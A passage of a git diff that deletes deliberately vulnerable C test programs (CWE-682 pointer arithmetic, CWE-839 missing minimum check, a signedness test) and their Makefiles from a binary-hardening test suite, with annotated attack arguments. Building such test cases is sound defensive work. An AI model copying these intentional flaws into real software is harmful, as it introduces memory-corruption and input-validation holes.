-This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).
-
-*/
diff --git a/integerbug_examples/C1_Number_Handling/CWE_682/CWE_682_Example_3_bad.c b/integerbug_examples/C1_Number_Handling/CWE_682/CWE_682_Example_3_bad.c
deleted file mode 100644
index e0cea472ad86fc0773e0f580d1e15cfa3b294091..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_682/CWE_682_Example_3_bad.c
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
-Description Summary
-The software performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.
-
-Extended Description
-When software performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.
-
-@BAD_ARGS 3
-@ATTACK_SUCCEEDED_CODE 139
-
-
-Example 3
-
-This example, taken from CWE-462, attempts to calculate the position of the second byte of a pointer.
-
-(Bad Code)Example Language: C
-*/
-
-//bme:expanading exmaple to be functional
-
-#include<stdlib.h>
-
-int main(int argc, char** argv){
-
- int p = atoi(argv[1]);
- char *second_char;
- second_char = (char *)(p+1);
-
- printf("We know p is %d\n", p);
- printf("We found out that the second character of p is %c.\n",*second_char);
-}
-
-
-
-/*
-In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.
-
-*/
diff --git a/integerbug_examples/C1_Number_Handling/CWE_682/Makefile b/integerbug_examples/C1_Number_Handling/CWE_682/Makefile
deleted file mode 100644
index 8f3a3bde3eeaf408b35ae81f6d7e2fd3b19c90ba..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_682/Makefile
+++ /dev/null
@@ -1,45 +0,0 @@
-# DO NOT EDIT - This Makefile automatically generated
-include ../../Makefile.options
-include $(wildcard Makefile.options)
-
-all: runall
-
-test:
- ../../../scripts/test.pl $(TESTFLAGS) .
-
-CWE_682_Example_1_bad.ncexe: CWE_682_Example_1_bad.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_682_Example_1_bad.conf
-
-CWE_682_Example_1_bad: CWE_682_Example_1_bad.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_682_Example_1_bad.ps_analyze.log
- cp CWE_682_Example_1_bad.conf CWE_682_Example_1_bad.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_682_Example_1_bad.conf
-
-CWE_682_Example_1_bad.run: CWE_682_Example_1_bad
- ../../../scripts/test.pl $(TESTFLAGS) CWE_682_Example_1_bad.ncexe
-
-CWE_682_Example_3_bad.ncexe: CWE_682_Example_3_bad.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_682_Example_3_bad.conf
-
-CWE_682_Example_3_bad: CWE_682_Example_3_bad.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_682_Example_3_bad.ps_analyze.log
- cp CWE_682_Example_3_bad.conf CWE_682_Example_3_bad.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_682_Example_3_bad.conf
-
-CWE_682_Example_3_bad.run: CWE_682_Example_3_bad
- ../../../scripts/test.pl $(TESTFLAGS) CWE_682_Example_3_bad.ncexe
-
-clean:
- rm -f CWE_682_Example_1_bad.ncexe CWE_682_Example_3_bad.ncexe
- rm -f CWE_682_Example_1_bad CWE_682_Example_3_bad
- rm -f summary.csv logfail.txt logfile.txt CWE_682_Example_1_bad.asm CWE_682_Example_1_bad.idb CWE_682_Example_1_bad.ncexe* stratafier.o.exe *.conf CWE_682_Example_3_bad.asm CWE_682_Example_3_bad.idb CWE_682_Example_3_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log
- rm -rf peasoup_executable_directory*
-
-targets: CWE_682_Example_1_bad.ncexe CWE_682_Example_3_bad.ncexe
-
-analyze: targets CWE_682_Example_1_bad CWE_682_Example_3_bad
-
-runall: CWE_682_Example_1_bad.run CWE_682_Example_3_bad.run
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.c b/integerbug_examples/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.c
deleted file mode 100644
index 955d1e2ef347b23f3c7a4688fc5595632dfcdd29..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.c
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
-Description Summary
-The program checks a value to ensure that it does not exceed a maximum, but it does not verify that the value exceeds the minimum.
-
-Extended Description
-Some programs use signed integers or floats even when their values are only expected to be positive or 0. An input validation check might assume that the value is positive, and only check for the maximum value. If the value is negative, but the code assumes that the value is positive, this can produce an error. The error may have security consequences if the negative value is used for memory allocation, array access, buffer access, etc. Ultimately, the error could lead to a buffer overflow or other type of memory corruption.
-
-The use of a negative number in a positive-only context could have security implications for other types of resources. For example, a shopping cart might check that the user is not requesting more than 10 items, but a request for -3 items could cause the application to calculate a negative price and credit the attacker's account.
-
-@GOOD_ARGS 35
-@NORMAL_OUTPUT_CONTAINS n is between
-@BAD_ARGS -35
-@ATTACK_SUCCEEDED_OUTPUT_NOT_CONTAINS n is NOT between
-
-*/
-
-#include <stdio.h>
-#include <stdlib.h>
-
-int ok(int n)
-{
- return (n < 50);
-}
-
-int main(int argc, char **argv)
-{
- if (ok(atoi(argv[1])))
- {
- printf("n is between 0 and 50\n");
- }
- else
- {
- printf("n is NOT between 0 and 50\n");
- }
- exit(0);
-}
diff --git a/integerbug_examples/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.conf b/integerbug_examples/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.conf
deleted file mode 100644
index 77fc4a74f7142cc9ffd252af13646d86e1875502..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.conf
+++ /dev/null
@@ -1,2 +0,0 @@
-cc -fno-stack-protector -static CWE_839_Example_1_bad.c -o CWE_839_Example_1_bad.ncexe
-sh /home/jdh8d/peasoup/uva/peasoup.home.trunk/tools/ps_analyze.sh CWE_839_Example_1_bad.ncexe CWE_839_Example_1_bad
diff --git a/integerbug_examples/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe.conf b/integerbug_examples/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe.conf
deleted file mode 100644
index 1229c6e269ccbc1064fa02798df7dd3ac7aa03ac..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe.conf
+++ /dev/null
@@ -1 +0,0 @@
-cc -fno-stack-protector -static CWE_839_Example_1_bad.c -o CWE_839_Example_1_bad.ncexe
diff --git a/integerbug_examples/C1_Number_Handling/CWE_839/Makefile b/integerbug_examples/C1_Number_Handling/CWE_839/Makefile
deleted file mode 100644
index e5a3bb3fbca87f836aa1aff230700474c2289fa3..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_839/Makefile
+++ /dev/null
@@ -1,33 +0,0 @@
-# DO NOT EDIT - This Makefile automatically generated
-include ../../Makefile.options
-include $(wildcard Makefile.options)
-
-all: runall
-
-test:
- ../../../scripts/test.pl $(TESTFLAGS) .
-
-CWE_839_Example_1_bad.ncexe: CWE_839_Example_1_bad.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_839_Example_1_bad.conf
-
-CWE_839_Example_1_bad: CWE_839_Example_1_bad.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_839_Example_1_bad.ps_analyze.log
- cp CWE_839_Example_1_bad.conf CWE_839_Example_1_bad.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_839_Example_1_bad.conf
-
-CWE_839_Example_1_bad.run: CWE_839_Example_1_bad
- ../../../scripts/test.pl $(TESTFLAGS) CWE_839_Example_1_bad.ncexe
-
-clean:
- rm -f CWE_839_Example_1_bad.ncexe
- rm -f CWE_839_Example_1_bad
- rm -f summary.csv logfail.txt logfile.txt CWE_839_Example_1_bad.asm CWE_839_Example_1_bad.idb CWE_839_Example_1_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log
- rm -rf peasoup_executable_directory*
-
-targets: CWE_839_Example_1_bad.ncexe
-
-analyze: targets CWE_839_Example_1_bad
-
-runall: CWE_839_Example_1_bad.run
-
diff --git a/integerbug_examples/smartfuzz/Makefile b/integerbug_examples/smartfuzz/Makefile
deleted file mode 100644
index 905b45cd407bd2cf64910600b93609e731982e47..0000000000000000000000000000000000000000
--- a/integerbug_examples/smartfuzz/Makefile
+++ /dev/null
@@ -1,59 +0,0 @@
-CC=DO_NOT_USE
-CXX=DO_NOT_USE
-CFLAGS=DO_NOT_USE
-LD=DO_NOT_USE
-
-.SUFFIXES: .o .c .cpp .exe
-
-exes=simpletest.exe
-
-
-all: env_check ${exes}
-
-.PHONY: env_check
-
-.o.exe:
-# ${PEASOUP_HOME}/tools/ps_link.sh $< -o $@
- gcc -g $< -o $@
- ${PEASOUP_HOME}/tools/ps_analyze.sh $@ $@ --step ilr=off --step concolic=off --step p1transform=off
-
-.c.o:
- ${PEASOUP_HOME}/tools/ps_comp.sh $<
-
-.cpp.o:
- ${PEASOUP_HOME}/tools/ps_comp++.sh $<
-
-
-env_check:
- @echo checking env vars; \
- if [ "X${TOOLCHAIN}" = "X" ]; then \
- echo TOOLCHAIN environment variable should be set.; \
- exit -1;\
- elif [ "X${STRATA}" = "X" ]; then \
- echo STRATA environment variable should be set. ;\
- exit -1;\
- elif [ "X${SMPSA_HOME}" = "X" ]; then \
- echo SMPSA_HOME environment variable should be set.; \
- exit -1;\
- elif [ "X${PEASOUP_HOME}" = "X" ]; then \
- echo PEASOUP_HOME environment variable should be set.; \
- exit -1;\
- elif [ "X${STRATA_HOME}" = "X" ]; then \
- echo STRATA_HOME environment variable should be set.; \
- exit -1;\
- fi ;
-
-
-clean:
- rm -f *.o *.syms *.map
- rm -f *.exe *.dis *.data *.idb *.log *.ncexe *.readelf temp.* *.temp *.stratafied *.asm *.SMPobjdump *.id0 *.id1 *.til *.nam
- rm -Rf concolic.files_*
- rm -Rf peasoup_executable_directory.*
- rm -f strata.log.*
- rm -f *.sym
- ${PEASOUP_HOME}/tools/db/drop_my_tables.sh
- ${PEASOUP_HOME}/tools/db/pdb_setup.sh
-
-concclean:
- rm -Rf concolic.files_*
- rm strata.log.*
diff --git a/integerbug_examples/smartfuzz/simpletest.c b/integerbug_examples/smartfuzz/simpletest.c
deleted file mode 100644
index f3b9d702577b0e2523ca8edfa253b596bd24828f..0000000000000000000000000000000000000000
--- a/integerbug_examples/smartfuzz/simpletest.c
+++ /dev/null
@@ -1,21 +0,0 @@
-// ./simpletest.exe -2343434
-//
-
-int main (int argc, char** argv)
-{
- int i = atol(argv[1]);
- unsigned int j = 0;
-
- if (i < 10)
- {
- j = i; // there should be a signedness error here unsigned <-- signed
- if ( j > 50)
- {
- printf("Surprise! \n");
- return 1;
- }
- }
-
-return 0;
-
-}